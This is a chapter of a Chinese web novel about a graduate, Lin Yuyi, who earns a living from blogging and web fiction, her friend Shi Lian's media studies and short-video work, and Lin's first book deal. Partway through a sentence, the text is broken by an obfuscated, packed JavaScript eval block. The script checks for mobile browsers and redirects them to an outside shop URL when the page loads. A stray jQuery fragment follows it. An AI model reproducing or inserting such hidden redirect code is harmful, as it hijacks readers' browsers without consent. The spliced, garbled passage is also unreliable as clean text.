六月初。
这是林羽翼最后一次回到学校。
最后一次走在银杏大道的树荫下,嗅着四周清新的空气,听着来往学生们的轻言细语,遥望着远处的雅城山脉,林羽翼没有一丝不舍。
她心里更多的是激动。
对她来说,大学生活是什么样的呢?
在这四年里,她学会了为自己拼命努力,学会了自律,她有了非常、非常明显的成长。她见过了更广阔的世界,摸索着找到了未来行进的方向。她经历过背刺与不公,她痛苦过迷茫过,直到现在回想起来也依旧痛苦,但她早已在向前看。
对林羽翼来说,大学四年时光,是一个跳板。
助她跃向无边世界的跳板。
因此,她不需要怀念什么,她只要闭眼往前腾空跃起便好,迎着风,感受着心脏有力的跳动,什么都不用想。
林羽翼回到宿舍时,其他室友已经到齐了,她一开门,五双眼睛齐刷刷盯向她,盯得林羽翼鸡皮疙瘩起了一身,不自在地后退半步:“怎么啦?”
“林小鸟,如实招来,这是不是你!”寝室长拉着林羽翼,把她拉到自个儿的笔记本电脑边,指着屏幕上的博客主页,“一只飞翔的鸟儿”。
“啊,这……”林羽翼脸红,她没想到自己的博客火到这种程度,竟然连室友们都看到了,“你们怎么知道这是我?”
“怎么会不知道呢!”寝室长一篇篇点开她的博文,“我们寝室里就只有你一个人亲历了地震,还加入学校的志愿者团队,在那边排查养殖场。唔,还有以前的博文,去电脑城打工,去宠物医院实习。还有这名字,飞翔的鸟儿,不是你林羽翼还能是谁?”
林羽翼没有回答,她看着室友一篇篇翻看自己的博文,心里有种奇妙的感觉,又害羞,又自豪,脸烫得厉害。
室友们看见她红彤彤的脸蛋,便知道自己猜对了,激动围在她身边:
“不得了啊不得了,我们寝室居然出了一个大作家!林小鸟你可真了不得!”
“这叫什么?博客写手,网络红人!”
“林羽翼,给我签个名吧!苟富贵勿相忘啊嘿嘿嘿!”
室友们嘻嘻哈哈地聊完博客,又把注意力转移到林羽翼的小说上:
“对了林小鸟,我记得你还在网站上写小说来着?你的笔名是什么,我去瞻仰瞻仰你的大作呗!”
“……不是什么大作。”林羽翼红着脸报出了自己的笔名和作品。
下一秒。
室友脸上的肌肉明显抽搐了一下,满脸不可置信。
《回到九零:后妈难当》(注1)
“林羽翼,这、这是你写的小说?”室友的声音都在飘。
“怎么?你以为我会写严肃文学呢?”林羽翼揉揉脸,毫不在乎地笑笑,“狗血言情小说又怎么啦?我们写故事的,就是得学会雅俗共赏嘛。”
她会写严肃的新闻稿,会写引人深思的哲学道理,会写轻松快活的日常记录,也会写狗血的网络小说。
至于严肃文学……
林羽翼还没那本事。
至少现在没有。
更重要的一点是,比起在文化造诣上的追求,目前的她更需要钱。网络小说正是风口,林羽翼能靠写网文赚到大笔钱,那她就写呗。在她看来,文字没有高低贵贱。
其次,她爱写作,爱创作,但在自己生活都没法保证——在背着几十万债的情况下,她有什么资格去空谈文学梦?
梦想?她得先把钱赚够。
……
挖出林羽翼博客账号的人不仅有她的室友们,还有岳程成。
毕业典礼那天,林羽翼刚走进礼堂,他便觍着脸凑近,桃花眼弯起,笑得人畜无害:“林羽翼,你的博客火啦?”
林羽翼斜睨他一眼,没答话。
岳程成脸上笑容明显尴尬地滞了滞,眼底闪过一丝阴沉的情绪,他努力维持着笑,不依不挠地接着问:“听说网络红人可赚钱了,你写一篇博文能赚多少钱?哈哈,我就知道,像你这种有能耐的人,就算不出国,也能在别的地方做出成绩来。”
“赚多少钱?”林羽翼慢条斯理地说,“打赏费你自个儿看得到,一篇博文最多百来块。”
百来块?一个月也赚不了多少钱嘛!
岳程成脸上肌肉动了动,明显松口气,强装出来的讨好笑容消失了,眼里浮现出一缕缕傲慢:“林羽翼,你加油写啊,总有一天会出头的。不过我觉得,写作始终不稳定,以你的家庭情况,还是找个稳定的工作好,最好再找个有钱男人,早早结婚,让人家帮帮你,不是吗?”
“哦。”
林羽翼看着他远去的背影,毫无情绪地笑了笑。
她没有透露自己的真实收入,倒不是她宽宏大量懒得打脸,不是她不想证明自己,她可想了,她恨不得把博客后台的收入页面狠狠甩在岳程成脸上,欣赏他震惊后悔的表情。
可是她忍住了。
岳程成这种小人,除非能把他一脚踩在脚底,不然还是别惹了。林羽翼已经吃了一次亏,再不会吃第二次。
看,她还学会了隐忍。
她真的长大了不是吗?
……
穿上学士服,左手抱着毕业证,右手捧着小雏菊,这就毕业了。
林羽翼和其他毕业生一样,站在礼堂里,仰着头,远远望向大礼堂中央的位置,那里站着这一届动物医学院的优秀毕业生,元培曼。
聚光灯打在她身上,影子在背后的墙壁上拖得很长。
林羽翼抬头,第一眼看见了元培曼的影子,往下,紧接着才看见她的人。
元培曼站得笔直,脸上带着自信的微笑,她拿起麦克风,目光不缓不急地扫过整个大礼堂,慢慢开口道:“尊敬的各位领导,各位老师,亲爱的同学们……各位大家好,很荣幸作为本届优秀毕业生在这里发言……”
林羽翼的目光往元培曼身后移,那里坐着学院里的领导与老师,她看见他们的目光也集中在元培曼身上,眼中满是欣赏与自豪。
从大一到大四,元培曼始终是动医院的绩点第一名,并且她在去年考过了托福,成功去往美国留学,这几天才抽空赶回学校。
林羽翼再往前看,礼堂里一排排同学仰着头,仰视着聚光灯中央的元培曼。
林羽翼听见元培曼在讲:
“……今天,我能以绩点第一的成绩站在这里,与我四年来的辛苦努力脱不了干系。从大一开始,我便保持着一天八小时的学习时间……”
八小时啊。
林羽翼感慨地算了算,自己一天的学习时间差不多是六小时,只差两小时。
她的绩点离第一名只差0.3分,这还是在她大三摆烂了整整半年的情况下。如果她大三下学期没有放弃学习,她的绩点只和第一名相差0.1分。
林羽翼不由得想,如果大一大二的时候,她每天多学一两个小时,是不是,就能突破0.1分的差额,考到第一名呢?如果她考到了第一名,这时站在台上的人会不会是她呢?如果是她,老师们是不是就能抛却对她的一些偏见与不理解,让她顺顺利利地出了国呢?如果……
没有如果。
林羽翼只是第二名,一直都是。
在大学,第一名是天才,第二名……大概只是个籍籍无名的路人吧,只是一个“善于应付应试教育”的普通学生。没有人会注意到第二名,所有人的目光都在第一名身上。多么耀眼,熠熠生辉。
真好。
林羽翼远远地、认真地、用力地仰望着台上的元培曼。
她在心里想,祝我们各自在各自未来的道路上,越走越远,展翅高飞吧。
她在想,她没法在学校里熠熠生辉,那就离了学校,在别的地方发光吧。
她相信。
会有那么一天。
……
林羽翼毕业后的生活很规律。
她给自己写了一份密密麻麻的日程安排表挂在墙头,从早晨七点半起床洗漱开始,便严格按照着日程表的安排,扒文拉片、摘抄学习,浏览博客、了解时事新闻,写小说、写博文、给杂志社供稿。
到了锻炼的时间,林羽翼便沿着小区外的人行道,一路跑去隔壁,师涟家小区——
林羽翼租住在广都城郊的安置小区里,和师涟家的新房子只隔了一条街。虽然是安置房,却修了电梯,价格也非常便宜,性价比很高。
于是林羽翼趁着空余时间,跑去师涟家,帮忙盯一盯装修。
装修是个麻烦事儿,找施工团队、选材、泥工瓦工逐步进场、水电改造……每一步都非常麻烦,一不小心就会掉陷阱里。
师叔叔在外地跑市场,孙阿姨要看着店,师涟更是跑京城上学去了,一家子都没太多时间,林羽翼既然住得近,有空的时候便去帮忙盯着,监监工。
去装修工地的次数多了,林羽翼渐渐也看出些门道,她跟着孙阿姨去了几次基装市场,一回家,便噼里啪啦地敲出“装修日记”系列博文。
一天到晚,林羽翼的时间安排得密不透风,但或许是每日都这么规律的原因,她倒不觉得忙,不觉得累,只觉得时光如烟一般消逝着,摸不清看不着,等她反应过来时,已经过去好久好久。
师涟那边却是另一番景象。
她的研究生生活,忙得一塌糊涂——如果只是忙碌,还不至于糟糕至此,她的生活太“乱”了,乱成了一团怎么理也理不清的毛线团。
传媒研究生的基础课业倒是不多,都是些理论课,学知识、学研究、学历史、学未来,对于师涟来说,这部分课业并不困难。
不仅算不上难,甚至非常轻松。比如电影赏析课,学生们围坐在教室里,吃着蛋糕看着电影,轻快地聊着天,这哪儿是上课?分明是聚会嘛!
“输入”并不难,难的是“输出”。
难的是一节节研讨课,以及研讨课后的创作作业。
谁都能轻松掌握理论知识,可实践呢?哪有那么容易!
你能完完整整一帧一帧地分析一部好电影,难不成代表着你能拍出同样的惊世名作?你能从一篇简约明了的新闻稿里汲取激励与力量,难不成代表着你能写出同样简洁有力的稿子?你能被一张精美绝伦的摄影照片所震撼,将它的构图与光影铭记于心,难不成代表着你能拍出同样震撼人心的佳作?
答案是不能。
一部惊世电影里,故事剧本、音效剪辑、美术设计、镜头语言,还有演员发挥如何、是否贴近角色,一个要素也不能少。
一篇简洁明了却满是感染力的稿子,是由数不清的废稿堆砌而来。
一张构图与光影皆是完美的照片,是一次次摁下快门键,千次百次万次后,终于捕捉到的那一个瞬间。
更要命的是,师涟不是一个人,她得和别的同学进行团队合作,一起完成这些创作型的作业。这代表着,她得配合其他同学的时间,得和他们不断商讨、不断修改方案,她一个人做到合格,甚至做到完美都不行,必须要所有人一起合格。
进行拍摄作业时,团队里某一个人的状态,都可能影响整个拍摄进程。
除此,还要考虑设备和场地——大家都是学生,买得起什么好设备?大多数设备是租的,场地是借的,在协调好团队内部的同时,师涟还得注意着设备的租期、场地的使用时间,而这些,都不是她一个人能做主的。
师涟的课余时间变得极不可控。
她以前习惯了事事做好计划,把一切都安排得井井有条,现在却不得不过上充满变化与冲突的杂乱的生活。
师涟很不习惯。
但就算这样,她依旧咬着牙,用为数不多的课余时间组了个兴趣小组,她担任策划兼导演,组织兴趣组里的同学一块儿拍视频,剪辑后发到网上。
这几年里,网络小说风靡全国,同时,随着互联网的发展,上网浏览视频特变得越来越简单,上传视频受到的限制也越来越少,师涟
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389093|135210||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
隐隐约约地察觉到,网络视频也会如网文般,成为下一个风口。
这本来就和她专业有关,她想试一试。
现在网络上几大主流视频平台上,原创视频几乎都以科普类视频为主,剩下一小部分则是杂乱无章的生活片段,还有很少一部分游戏视频。总的来说,原创视频不多,有的时候上传者运气好时,只需要给视频取一个吸引人的标题,不管内容质量如何,都能取得不错的观看量。
相比起来,国外的原创视频内容就要丰富、成熟许多,助眠ASMR、生活学习VLOG、原创动画短片、小短剧,各种高质量新鲜内容层出不穷。
师涟考虑了很久,最后决定,从“故事型小品”开始创作,故事主题是“研究生的一天”,既贴近生活,又能勾起大众的兴趣。
现在平台几乎以三十分钟的长视频为主,但师涟决定把每个视频的篇幅控制在7-15分钟内。她感觉,随着网络的发展,当手机也能方便的浏览视频后,网络视频必定朝着“轻量化”的方向发展。
其次,作为课余兴趣小组,她们没有时间精力去创作长篇作品。
故事框架是师涟和团队成员一同商量出来的,就以他们的生活为蓝本,至于剧本细节嘛……
师涟想到了林羽翼。
她把大纲框架发给林羽翼,由林羽翼创作剧本。等视频出了成绩有了收益,她再返还给林羽翼稿酬。
时间就这么混沌地一天天过去,昼夜不分、杂乱不堪,但过得飞快。
……
流年匆匆。
接下来一年里,林羽翼稳定每天六千字的更新速度,总共写完了四本中长篇小说。
她的小说算不得火爆,平均下来一本书只赚个两三万订阅费,比起那些一本书就能赚大几万甚至十来二十万的大神,她只是个小透明。但她胜在更新稳定、产出不断,一年的稿费加起来也算是非常可观了。
在地震结束后,林羽翼便很少接到杂志社的约稿,但她的博文以另一种方式登上了杂志——
竟然有编辑直接“买”走她的博文稿子!
不仅仅是那几本最出名的故事杂志,林羽翼甚至在作文辅导书里见过自己的博文呢!
高中的时候,她还艰难啃着作文书,而现在,她的文章竟然也能被别人“啃”了。
日子越过越规律,林羽翼在博客上面的更新也就越来越少——一成不变的生活,实在想不出什么新题材。于是她开始写散文,写花草,写云卷云舒、日升日落,写路边遇见的小猫小狗,写夜晚锻炼时认识的小吃摊贩,她写自己看见、遇见的一切,更是写自己的心境。
散文的受众自然比不过她以前写的那些话题十足的生活经历,林羽翼因此流失了一大批粉丝,剩下那批完完全全便是被她的文笔说吸引、所感染,林羽翼每一次更新,他们都会齐聚在留言区,一同探讨林羽翼的文字,亦或是分享自己的经历。就算林羽翼没有更新,他们也会在留言区与她道早安晚安,一日一日,雷打不动。
有了这批“文学粉”,林羽翼在博客的收入不但没有下滑,反而比以前更稳定了些。
用后来的话说,便是她有了“基本盘”。
9月份,博客更新换代,崭新的“微博”出现在大众视野。和长篇大论的博文相比,微博就讲究个“微”字,篇幅只能在两百字以内。
新的平台无疑给老平台带来了一些冲击,甚至有部分博文红人联合起来抵制微博,说什么以后有了微博,博文的广告分成就会降低!这是资本在压榨创作者!
那些人还找上了林羽翼,邀她加入抗议活动中。
林羽翼没有答应。
她稍稍观察几天后,便毫不犹豫地加入微博平台。她认为,有些时候,创作不仅需要长篇大论,更需要短小精悍,她还正愁自己无事呻吟写出的一两句诗歌般的句子没地儿发呢!
林羽翼的最后一部分收入,来自师涟——作为剧本的稿酬。
师涟拿着林羽翼的剧本,拍出小短剧,上传到视频平台,还真拿到了平台的激励费!
但林羽翼没收师涟的钱,倒不是因为不好意思,她把钱退给师涟,说:“你就把我的稿子当做一笔投资款,等以后你拍的片子出名了,上了电视,挣了大钱,再给我分成。到时候你是师大导演,我就是你的御用编剧。”
电话那头,师涟笑意清浅,尾音微扬:“几个千字小剧本,便当做未来一辈子的投资,是否有点空手套白狼呢?”
“师大导演不乐意?”林羽翼眉眼弯起,笑。
“……”
安静片刻,她听见师涟的笑声呵在听筒里,气息几乎抚过她的耳廓:“你说呢?”
“我说你乐意。”
“行。”师涟勾起唇角,“你说行,那便行。”
师涟熬过了繁忙的研一,可研二的生活一点儿没有好转,反倒更忙。
好在,师涟渐渐习惯了这样的生活,习惯了忙碌,也习惯了繁杂。
这一年,她有幸接触到商业电视剧的拍摄,她抓住机会,拜了那位大导演为师,有空便跟着剧组到处跑,在剧组里学习的同时,还挣点儿小费——
卖明星签名呀!
师涟怎么也想不明白,为什么那些粉丝会为了一张小纸片追到剧组来,为什么能够因为这么张纸片欣喜若狂,甚至愿意出天价把它买到手。
师涟不明白,但她明白一点,那就是她可以用这个机会,赚一笔钱,就像她爸妈做生意赚钱,就像她拍短剧赚钱那样。
林羽翼规律的一年一晃而过,师涟忙忙碌碌的一年一晃而过。
转眼到了2009年最后一天,林羽翼收到了一份提前的新年礼物。
这是她2010年的第一份新年礼物,同时,也是她这辈子收到过的……
最好的新年礼物。
她的长篇小说出版审核通过了!
这将是她的第一本出版文!这代表着,她能在书店看见自己的作品了。